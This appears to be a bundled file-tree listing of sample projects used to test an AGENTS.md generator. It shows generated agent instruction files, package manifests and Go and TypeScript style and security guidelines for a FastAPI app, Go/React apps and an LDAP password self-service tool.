          <!-- AGENTS-GENERATED:END filemap -->
          
          ## Golden Samples (follow these patterns)
          <!-- AGENTS-GENERATED:START golden-samples -->
          | For | Reference | Key patterns |
          |-----|-----------|--------------|
          | Entrypoint | `src/main.py` |  (async) |
          | Service | `src/services/item_service.py` |  (class) |
          <!-- AGENTS-GENERATED:END golden-samples -->
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding dependency | Update `pyproject.toml` |
          | Adding env var | Add to `.env.example` first |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Follow PEP 8 style guide and Python >=3.11 features
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit requirements.txt without pyproject.toml changes
          - Use print() for logging in production code
          
          ## Index of scoped AGENTS.md
          <!-- AGENTS-GENERATED:START scope-index -->
          - `./src/AGENTS.md` — Backend services (Python)
          <!-- AGENTS-GENERATED:END scope-index -->
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For Python-specific patterns, follow PEP 8 and project tooling (ruff/black)
          
        • pyproject.toml 1.8 KB
          [project]
          name = "fastapi-app"
          version = "0.1.0"
          description = "Example FastAPI application for AGENTS.md generator testing"
          readme = "README.md"
          requires-python = ">=3.11"
          license = { text = "MIT" }
          authors = [
              { name = "Test Author", email = "test@example.com" }
          ]
          dependencies = [
              "fastapi>=0.109.0",
              "uvicorn[standard]>=0.27.0",
              "pydantic>=2.5.0",
              "pydantic-settings>=2.1.0",
              "sqlalchemy>=2.0.25",
              "alembic>=1.13.0",
              "httpx>=0.26.0",
          ]
          
          [project.optional-dependencies]
          dev = [
              "pytest>=7.4.0",
              "pytest-asyncio>=0.23.0",
              "pytest-cov>=4.1.0",
              "ruff>=0.1.14",
              "mypy>=1.8.0",
              "pre-commit>=3.6.0",
          ]
          
          [project.scripts]
          serve = "src.main:run"
          
          [build-system]
          requires = ["hatchling"]
          build-backend = "hatchling.build"
          
          [tool.hatch.build.targets.wheel]
          packages = ["src"]
          
          [tool.ruff]
          target-version = "py311"
          line-length = 100
          src = ["src", "tests"]
          
          [tool.ruff.lint]
          select = [
              "E",      # pycodestyle errors
              "W",      # pycodestyle warnings
              "F",      # Pyflakes
              "I",      # isort
              "B",      # flake8-bugbear
              "C4",     # flake8-comprehensions
              "UP",     # pyupgrade
              "ARG",    # flake8-unused-arguments
              "SIM",    # flake8-simplify
          ]
          ignore = ["E501"]
          
          [tool.ruff.lint.isort]
          known-first-party = ["src"]
          
          [tool.mypy]
          python_version = "3.11"
          strict = true
          warn_return_any = true
          warn_unused_configs = true
          plugins = ["pydantic.mypy"]
          
          [[tool.mypy.overrides]]
          module = ["uvicorn.*"]
          ignore_missing_imports = true
          
          [tool.pytest.ini_options]
          testpaths = ["tests"]
          asyncio_mode = "auto"
          addopts = "-v --cov=src --cov-report=term-missing"
          
          [tool.coverage.run]
          source = ["src"]
          branch = true
          
          [tool.coverage.report]
          exclude_lines = [
              "pragma: no cover",
              "if TYPE_CHECKING:",
              "if __name__ == .__main__.:",
          ]
          
        • uv.lock 136 B · in bundle
      • go-api-with-react-admin
        • admin
          • src
            • App.tsx 101 B · in bundle
          • package.json 423 B
            {
                "name": "admin-dashboard",
                "private": true,
                "scripts": {
                    "dev": "vite",
                    "build": "vite build",
                    "test": "vitest",
                    "lint": "eslint src"
                },
                "dependencies": {
                    "react": "^18.2.0",
                    "react-dom": "^18.2.0"
                },
                "devDependencies": {
                    "vite": "^8.0.8",
                    "vitest": "^4.1.11",
                    "eslint": "^8.56.0",
                    "typescript": "^5.3.0"
                }
            }
            
        • cmd
          • api
            • main.go 75 B · in bundle
        • .scopes 93 B · in bundle
        • AGENTS.md 3 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: go.mod — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | go build -v ./... | ~15s |
          | Format | gofmt -w . | ~5s |
          | Test (single) | go test -v -race | ~2s |
          | Test (all) | go test -v -race -short ./... | ~30s |
          | Build | go build -v ./... | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## File Map
          <!-- AGENTS-GENERATED:START filemap -->
          ```
          admin/           → configuration/data
          cmd/             → CLI entrypoints
          ```
          <!-- AGENTS-GENERATED:END filemap -->
          
          ## Golden Samples (follow these patterns)
          <!-- AGENTS-GENERATED:START golden-samples -->
          | For | Reference | Key patterns |
          |-----|-----------|--------------|
          | Entrypoint | `cmd/api/main.go` | standard patterns |
          | Entrypoint | `main.go` | standard patterns |
          <!-- AGENTS-GENERATED:END golden-samples -->
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding package | Internal → `internal/`, Public → `pkg/` |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Follow Go 1.22 conventions and idioms
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit go.sum without go.mod changes
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For Go-specific patterns, defer to language idioms and standard library conventions
          
        • go.mod 31 B · in bundle
        • main.go 71 B · in bundle
      • go-with-internal-web-tsx
        • internal
          • web
            • src
              • App.tsx 57 B · in bundle
              • Button.tsx 63 B · in bundle
              • Footer.tsx 63 B · in bundle
              • Header.tsx 63 B · in bundle
              • Sidebar.tsx 65 B · in bundle
            • AGENTS.md 3.1 KB
              <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-04 -->
              
              # AGENTS.md — web
              
              <!-- AGENTS-GENERATED:START overview -->
              ## Overview
              Frontend application (TypeScript/React/Vue)
              <!-- AGENTS-GENERATED:END overview -->
              
              <!-- AGENTS-GENERATED:START filemap -->
              ## Key Files
              | File | Purpose |
              |------|---------|
              | `internal/web/src/Sidebar.tsx` | (add description) |
              | `internal/web/src/App.tsx` | (add description) |
              | `internal/web/src/Button.tsx` | (add description) |
              | `internal/web/src/Header.tsx` | (add description) |
              | `internal/web/src/Footer.tsx` | (add description) |
              <!-- AGENTS-GENERATED:END filemap -->
              
              <!-- AGENTS-GENERATED:START golden-samples -->
              ## Golden Samples (follow these patterns)
              | Pattern | Reference |
              |---------|-----------|
              | Standard implementation | `internal/web/src/Sidebar.tsx` |
              <!-- AGENTS-GENERATED:END golden-samples -->
              
              <!-- AGENTS-GENERATED:START setup -->
              ## Setup & environment
              - Framework: react
              - Package manager: npm
              - Environment variables: See .env.example
              <!-- AGENTS-GENERATED:END setup -->
              
              <!-- AGENTS-GENERATED:START commands -->
              ## Build & tests
              - Install: `npm install`
              - Typecheck: `npx tsc --noEmit`
              - Lint: `npx eslint .`
              - Format: `npx prettier --write .`
              - Test: `npm test`
              - Build: `npm run build`
              - Dev server: `npm run dev`
              <!-- AGENTS-GENERATED:END commands -->
              
              <!-- AGENTS-GENERATED:START code-style -->
              ## Code style & conventions
              - Follow tsconfig.json compiler options
              - Use functional components with hooks
              - Naming: `camelCase` for variables/functions, `PascalCase` for components
              - File naming: `ComponentName.tsx`, `utilityName.ts`
              - Imports: group and sort (external, internal, types)
              - Avoid class components
              <!-- AGENTS-GENERATED:END code-style -->
              
              <!-- AGENTS-GENERATED:START security -->
              ## Security & safety
              - Sanitize user inputs before rendering
              - Raw HTML rendering only with sanitized content (use DOMPurify)
              - Validate environment variables at build time
              - Never expose secrets in client-side code
              - Use HTTPS for all API calls
              - Implement CSP headers
              - WCAG 2.2 AA accessibility compliance
              <!-- AGENTS-GENERATED:END security -->
              
              <!-- AGENTS-GENERATED:START checklist -->
              ## PR/commit checklist
              - [ ] Tests pass: `npm test`
              - [ ] TypeScript compiles: `npx tsc --noEmit`
              - [ ] Lint clean: `npx eslint .`
              - [ ] Formatted: `npx prettier --write .`
              - [ ] Accessibility: keyboard navigation works, ARIA labels present
              - [ ] Responsive: tested on mobile, tablet, desktop
              - [ ] Performance: no unnecessary re-renders
              <!-- AGENTS-GENERATED:END checklist -->
              
              <!-- AGENTS-GENERATED:START examples -->
              ## Patterns to Follow
              > **Prefer looking at real code in this repo over generic examples.**
              > See **Golden Samples** section above for files that demonstrate correct patterns.
              <!-- AGENTS-GENERATED:END examples -->
              
              <!-- AGENTS-GENERATED:START help -->
              ## When stuck
              - Check React documentation: https://react.dev
              - Review TypeScript handbook: https://www.typescriptlang.org/docs/
              - Check root AGENTS.md for project-wide conventions
              - Review existing components for patterns
              <!-- AGENTS-GENERATED:END help -->
              
            • package.json 329 B
              {
                  "name": "internal-web",
                  "private": true,
                  "scripts": {
                      "dev": "vite",
                      "build": "vite build",
                      "test": "vitest"
                  },
                  "dependencies": {
                      "react": "^18.2.0",
                      "react-dom": "^18.2.0"
                  },
                  "devDependencies": {
                      "vite": "^8.0.8",
                      "vitest": "^4.1.11"
                  }
              }
              
        • .scopes 102 B · in bundle
        • AGENTS.md 3.1 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: go.mod — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | go build -v ./... | ~15s |
          | Format | gofmt -w . | ~5s |
          | Test (single) | go test -v -race | ~2s |
          | Test (all) | go test -v -race -short ./... | ~30s |
          | Build | go build -v ./... | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## File Map
          <!-- AGENTS-GENERATED:START filemap -->
          ```
          internal/        → internal packages (not exported)
          ```
          <!-- AGENTS-GENERATED:END filemap -->
          
          ## Golden Samples (follow these patterns)
          <!-- AGENTS-GENERATED:START golden-samples -->
          | For | Reference | Key patterns |
          |-----|-----------|--------------|
          | Entrypoint | `main.go` | standard patterns |
          <!-- AGENTS-GENERATED:END golden-samples -->
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding package | Internal → `internal/`, Public → `pkg/` |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Follow Go 1.22 conventions and idioms
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit go.sum without go.mod changes
          
          ## Index of scoped AGENTS.md
          <!-- AGENTS-GENERATED:START scope-index -->
          - `./internal/web/AGENTS.md` — Frontend application (TypeScript/React/Vue)
          <!-- AGENTS-GENERATED:END scope-index -->
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For Go-specific patterns, defer to language idioms and standard library conventions
          
        • go.mod 34 B · in bundle
        • main.go 85 B · in bundle
        • package-lock.json 87 B
          {
            "name": "frontend",
            "lockfileVersion": 3,
            "requires": true,
            "packages": {}
          }
          
        • package.json 221 B
          {
              "name": "frontend",
              "scripts": {
                  "build": "vite build",
                  "test": "vitest"
              },
              "devDependencies": {
                  "react": "^18.0.0",
                  "vite": "^8.0.8",
                  "vitest": "^4.1.11"
              }
          }
          
      • ldap-selfservice
        • AGENTS.md 2.5 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: go.mod — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | go build -v ./... | ~15s |
          | Format | gofmt -w . | ~5s |
          | Test (single) | go test -v -race | ~2s |
          | Test (all) | go test -v -race -short ./... | ~30s |
          | Build | go build -v ./... | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding package | Internal → `internal/`, Public → `pkg/` |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Follow Go 1.25 conventions and idioms
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit go.sum without go.mod changes
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For Go-specific patterns, defer to language idioms and standard library conventions
          
        • go.mod 45 B · in bundle
        • internal-AGENTS.md 10 KB
          # Go Backend Services
          
          <!-- Managed by agent: keep sections & order; edit content, not structure. Last updated: 2025-10-09 -->
          
          **Scope**: Go backend packages in `internal/` directory
          
          **See also**: [../AGENTS.md](../AGENTS.md) for global standards, [web/AGENTS.md](web/AGENTS.md) for frontend
          
          ## Overview
          
          Backend services for LDAP selfservice password change/reset functionality. Organized as internal Go packages:
          
          - **email/**: SMTP email service for password reset tokens
          - **options/**: Configuration management from environment variables
          - **ratelimit/**: IP-based rate limiting (3 req/hour default)
          - **resettoken/**: Cryptographic token generation and validation
          - **rpc/**: JSON-RPC 2.0 API handlers (password change/reset)
          - **validators/**: Password policy validation logic
          - **web/**: HTTP server setup, static assets, routing (see [web/AGENTS.md](web/AGENTS.md))
          
          ## Setup/Environment
          
          **Required environment variables** (configure in `.env.local`):
          
          ```bash
          # LDAP connection
          LDAP_URL=ldaps://ldap.example.com:636
          LDAP_USER_BASE_DN=ou=users,dc=example,dc=com
          LDAP_BIND_DN=cn=admin,dc=example,dc=com
          LDAP_BIND_PASSWORD=secret
          
          # Email for password reset
          SMTP_HOST=smtp.example.com
          SMTP_PORT=587
          SMTP_USER=noreply@example.com
          SMTP_PASSWORD=secret
          SMTP_FROM=noreply@example.com
          APP_BASE_URL=https://passwd.example.com
          
          # Rate limiting (optional)
          RATE_LIMIT_REQUESTS=3
          RATE_LIMIT_WINDOW=1h
          
          # Token expiry (optional)
          TOKEN_EXPIRY_DURATION=1h
          ```
          
          **Go toolchain**: Requires Go 1.25+ (specified in `go.mod`)
          
          **Key dependencies**:
          
          - `github.com/gofiber/fiber/v2` - HTTP server
          - `github.com/netresearch/simple-ldap-go` - LDAP client
          - `github.com/testcontainers/testcontainers-go` - Integration testing
          - `github.com/joho/godotenv` - Environment loading
          
          ## Build & Tests
          
          ```bash
          # Development
          go run .                      # Start server with hot-reload (via pnpm go:dev)
          go build -v ./...             # Compile all packages
          go test -v ./...              # Run all tests with verbose output
          
          # Specific package testing
          go test ./internal/validators/...    # Test password validators
          go test ./internal/ratelimit/...     # Test rate limiter
          go test ./internal/resettoken/...    # Test token generation
          go test -run TestSpecificFunction    # Run specific test
          
          # Integration tests (uses testcontainers)
          go test -v ./internal/email/...      # Requires Docker for MailHog container
          
          # Coverage
          go test -cover ./...                 # Coverage summary
          go test -coverprofile=coverage.out ./... && go tool cover -html=coverage.out
          
          # Build optimized binary
          CGO_ENABLED=0 go build -ldflags="-w -s" -o ldap-passwd
          ```
          
          **CI validation** (from `.github/workflows/check.yml`):
          
          ```bash
          go mod download
          go build -v ./...
          go test -v ./...
          ```
          
          ## Code Style
          
          **Go Standards**:
          
          - Use `go fmt` (automatic via Prettier with go-template plugin)
          - Follow [Effective Go](https://go.dev/doc/effective_go)
          - Package-level documentation comments required
          - Exported functions must have doc comments
          
          **Project Conventions**:
          
          - Internal packages only: No public API outside this project
          - Error wrapping with context: `fmt.Errorf("context: %w", err)`
          - Use structured logging (consider adding in future)
          - Prefer explicit over implicit
          - Use interfaces for testability (see `email/service.go`)
          
          **Naming**:
          
          - `internal/package/file.go` - implementation
          - `internal/package/file_test.go` - tests
          - Descriptive variable names (not `x`, `y`, `tmp`)
          - No stuttering: `email.Service`, not `email.EmailService`
          
          **Error Handling**:
          
          ```go
          // ✅ Good: wrap with context
          if err != nil {
              return fmt.Errorf("failed to connect LDAP at %s: %w", config.URL, err)
          }
          
          // ❌ Bad: lose context
          if err != nil {
              return err
          }
          
          // ❌ Worse: ignore
          conn, _ := ldap.Dial(url)
          ```
          
          **Testing**:
          
          - Table-driven tests preferred
          - Use testcontainers for external dependencies (LDAP, SMTP)
          - Test files colocated with code: `validators/validate_test.go`
          - Descriptive test names: `TestPasswordValidation_RequiresMinimumLength`
          
          ## Security
          
          **LDAP Security**:
          
          - Always use LDAPS in production (`ldaps://` URLs)
          - Bind credentials in environment, never hardcoded
          - Validate user input before LDAP queries (prevent injection)
          - Use `simple-ldap-go` helpers to avoid raw LDAP filter construction
          
          **Password Security**:
          
          - Never log passwords (plain or hashed)
          - No password storage - passwords go directly to LDAP
          - Passwords only in memory during request lifetime
          - HTTPS required for transport security
          
          **Token Security**:
          
          - Cryptographic random tokens (see `resettoken/token.go`)
          - Configurable expiry (default 1h)
          - Single-use tokens (invalidated after use)
          - No token storage in logs or metrics
          
          **Rate Limiting**:
          
          - IP-based limits: 3 requests/hour default
          - Configurable via `RATE_LIMIT_*` env vars
          - In-memory store (consider Redis for multi-instance)
          - Apply to both change and reset endpoints
          
          **Input Validation**:
          
          - Strict validation on all user inputs (see `validators/`)
          - Reject malformed requests early
          - Validate email format, username format, password policies
          - No HTML/script injection vectors
          
          ## PR/Commit Checklist
          
          **Before committing Go code**:
          
          - [ ] Run `go fmt ./...` (or `pnpm prettier --write .`)
          - [ ] Run `go vet ./...` (static analysis)
          - [ ] Run `go test ./...` (all tests pass)
          - [ ] Run `go build` (compilation check)
          - [ ] Update package doc comments if API changed
          - [ ] Add/update tests for new functionality
          - [ ] Check for sensitive data in logs
          - [ ] Verify error messages provide useful context
          
          **Testing requirements**:
          
          - New features must have tests
          - Bug fixes must have regression tests
          - Aim for ≥80% coverage on changed packages
          - Integration tests for external dependencies
          
          **Documentation**:
          
          - Update package doc comments (godoc)
          - Update [docs/api-reference.md](../docs/api-reference.md) for RPC changes
          - Update [docs/development-guide.md](../docs/development-guide.md) for new setup steps
          - Update environment variable examples in `.env` and docs
          
          ## Good vs Bad Examples
          
          **✅ Good: Type-safe configuration**
          
          ```go
          type Config struct {
              LDAPURL      string `env:"LDAP_URL" validate:"required,url"`
              BindDN       string `env:"LDAP_BIND_DN" validate:"required"`
              BindPassword string `env:"LDAP_BIND_PASSWORD" validate:"required"`
          }
          
          func LoadConfig() (*Config, error) {
              var cfg Config
              if err := env.Parse(&cfg); err != nil {
                  return nil, fmt.Errorf("parse config: %w", err)
              }
              return &cfg, nil
          }
          ```
          
          **❌ Bad: Unsafe configuration**
          
          ```go
          func LoadConfig() *Config {
              return &Config{
                  LDAPURL: os.Getenv("LDAP_URL"),  // ❌ no validation, may be empty
              }
          }
          ```
          
          **✅ Good: Table-driven tests**
          
          ```go
          func TestPasswordValidation(t *testing.T) {
              tests := []struct {
                  name     string
                  password string
                  policy   PasswordPolicy
                  wantErr  bool
              }{
                  {"valid password", "Test123!", PasswordPolicy{MinLength: 8}, false},
                  {"too short", "Ab1!", PasswordPolicy{MinLength: 8}, true},
                  {"no numbers", "TestTest", PasswordPolicy{RequireNumbers: true}, true},
              }
          
              for _, tt := range tests {
                  t.Run(tt.name, func(t *testing.T) {
                      err := ValidatePassword(tt.password, tt.policy)
                      if (err != nil) != tt.wantErr {
                          t.Errorf("got error %v, wantErr %v", err, tt.wantErr)
                      }
                  })
              }
          }
          ```
          
          **❌ Bad: Non-descriptive tests**
          
          ```go
          func TestPassword(t *testing.T) {
              err := ValidatePassword("test")  // ❌ what policy? what's expected?
              if err == nil {
                  t.Fail()
              }
          }
          ```
          
          **✅ Good: Interface for testability**
          
          ```go
          type EmailService interface {
              SendResetToken(ctx context.Context, to, token string) error
          }
          
          type SMTPService struct {
              host string
              port int
          }
          
          func (s *SMTPService) SendResetToken(ctx context.Context, to, token string) error {
              // real implementation
          }
          
          // In tests, use mock implementation
          type MockEmailService struct {
              SendFunc func(ctx context.Context, to, token string) error
          }
          ```
          
          **❌ Bad: Hard-to-test concrete dependency**
          
          ```go
          func ResetPassword(username string) error {
              service := NewSMTPService()  // ❌ hardcoded, can't mock
              return service.SendEmail(...)
          }
          ```
          
          ## When Stuck
          
          **Go-specific issues**:
          
          1. **Module issues**: `go mod tidy` to clean dependencies
          2. **Import errors**: Check `go.mod` requires correct versions
          3. **Test failures**: `go test -v ./... -run FailingTest` for verbose output
          4. **LDAP connection**: Verify `LDAP_URL` format and network access
          5. **Email testing**: Ensure Docker running for testcontainers (MailHog)
          6. **Rate limit testing**: Tests may fail if system time incorrect
          
          **Debugging**:
          
          ```bash
          # Verbose test output
          go test -v ./internal/package/...
          
          # Run specific test
          go test -run TestName ./internal/package/
          
          # Race detector (for concurrency issues)
          go test -race ./...
          
          # Build with debug info
          go build -gcflags="all=-N -l"
          ```
          
          **Common pitfalls**:
          
          - **Nil pointer dereference**: Check error returns before using values
          - **Context cancellation**: Always respect `context.Context` in long operations
          - **Resource leaks**: Defer `Close()` calls immediately after acquiring resources
          - **Goroutine leaks**: Ensure all goroutines can exit
          - **Time zones**: Use `time.UTC` for consistency
          
          ## Package-Specific Notes
          
          ### email/
          
          - Uses testcontainers for integration tests
          - MailHog container spins up automatically in tests
          - Mock `EmailService` interface for unit tests in other packages
          
          ### options/
          
          - Configuration loaded from environment via `godotenv`
          - Validation happens at startup (fail-fast)
          - See `.env.local.example` for required variables
          
          ### ratelimit/
          
          - In-memory store (map with mutex)
          - Consider Redis for multi-instance deployments
          - Tests use fixed time.Now for deterministic results
          
          ### resettoken/
          
          - Crypto/rand for token generation (never math/rand)
          - Base64 URL encoding (safe for URLs)
          - Store tokens server-side with expiry
          
          ### rpc/
          
          - JSON-RPC 2.0 specification compliance
          - Error codes defined in [docs/api-reference.md](../docs/api-reference.md)
          - Request validation before processing
          
          ### validators/
          
          - Pure functions (no side effects)
          - Configurable policies from environment
          - Clear error messages for user feedback
          
        • internal-web-AGENTS.md 12.1 KB
          # Frontend - TypeScript & Tailwind CSS
          
          <!-- Managed by agent: keep sections & order; edit content, not structure. Last updated: 2025-10-09 -->
          
          **Scope**: Frontend assets in `internal/web/` directory - TypeScript, Tailwind CSS, HTML templates
          
          **See also**: [../../AGENTS.md](../../AGENTS.md) for global standards, [../AGENTS.md](../AGENTS.md) for Go backend
          
          ## Overview
          
          Frontend implementation for LDAP selfservice password changer with strict accessibility compliance:
          
          - **static/**: Client-side TypeScript, compiled CSS, static assets
            - **js/**: TypeScript source files (compiled to ES modules)
            - **styles.css**: Tailwind CSS output
            - Icons, logos, favicons, manifest
          - **templates/**: Go HTML templates (\*.gohtml)
          - **handlers.go**: HTTP route handlers
          - **middleware.go**: Security headers, CORS, etc.
          - **server.go**: Fiber server setup
          
          **Key characteristics**:
          
          - **WCAG 2.2 AAA**: 7:1 contrast, keyboard navigation, screen reader support, adaptive density
          - **Ultra-strict TypeScript**: All strict flags enabled, no `any` types
          - **Tailwind CSS 4**: Utility-first, dark mode, responsive, accessible patterns
          - **Progressive enhancement**: Works without JavaScript (forms submit via HTTP)
          - **Password manager friendly**: Proper autocomplete attributes
          
          ## Setup/Environment
          
          **Prerequisites**: Node.js 24+, pnpm 10.18+ (from root `package.json`)
          
          ```bash
          # From project root
          pnpm install          # Install dependencies
          
          # Development (watch mode)
          pnpm css:dev          # Tailwind CSS watch
          pnpm js:dev           # TypeScript watch
          # OR
          pnpm dev              # Concurrent: CSS + TS + Go hot-reload
          ```
          
          **No .env needed for frontend** - all config comes from Go backend
          
          **Browser targets**: Modern browsers with ES module support (Chrome 90+, Firefox 88+, Safari 14+, Edge 90+)
          
          ## Build & Tests
          
          ```bash
          # Build frontend assets
          pnpm build:assets     # TypeScript + CSS (production builds)
          
          # TypeScript
          pnpm js:build         # Compile TS → ES modules + minify
          pnpm js:dev           # Watch mode with preserveWatchOutput
          tsc --noEmit          # Type check only (no output)
          
          # CSS
          pnpm css:build        # Tailwind + PostCSS → styles.css
          pnpm css:dev          # Watch mode
          
          # Formatting
          pnpm prettier --write internal/web/    # Format TS, CSS, HTML templates
          pnpm prettier --check internal/web/    # Check formatting (CI)
          ```
          
          **No unit tests yet** - TypeScript strict mode catches most errors, integration via Go tests
          
          **CI validation** (from `.github/workflows/check.yml`):
          
          ```bash
          pnpm install
          pnpm js:build         # TypeScript strict compilation
          pnpm prettier --check .
          ```
          
          **Accessibility testing**:
          
          - Keyboard navigation: Tab through all interactive elements
          - Screen reader: Test with VoiceOver (macOS/iOS) or NVDA (Windows)
          - Contrast: Verify 7:1 ratios with browser dev tools
          - See [../../docs/accessibility.md](../../docs/accessibility.md) for comprehensive guide
          
          ## Code Style
          
          **TypeScript Ultra-Strict** (from `tsconfig.json`):
          
          ```json
          {
            "strict": true,
            "noUncheckedIndexedAccess": true,
            "exactOptionalPropertyTypes": true,
            "noPropertyAccessFromIndexSignature": true,
            "noImplicitReturns": true,
            "noFallthroughCasesInSwitch": true,
            "noUnusedLocals": true,
            "noUnusedParameters": true
          }
          ```
          
          **No `any` types allowed**:
          
          ```typescript
          // ✅ Good: explicit types
          function validatePassword(password: string, minLength: number): boolean {
            return password.length >= minLength;
          }
          
          // ❌ Bad: any type
          function validatePassword(password: any): boolean {
            return password.length >= 8; // ❌ unsafe
          }
          ```
          
          **Prettier formatting**:
          
          - 120 char width
          - 2-space indentation
          - Semicolons required
          - Double quotes (not single)
          - Trailing comma: none
          
          **File organization**:
          
          - TypeScript source: `static/js/*.ts`
          - Output: `static/js/*.js` (minified ES modules)
          - CSS input: `tailwind.css` (Tailwind directives)
          - CSS output: `static/styles.css` (PostCSS processed)
          
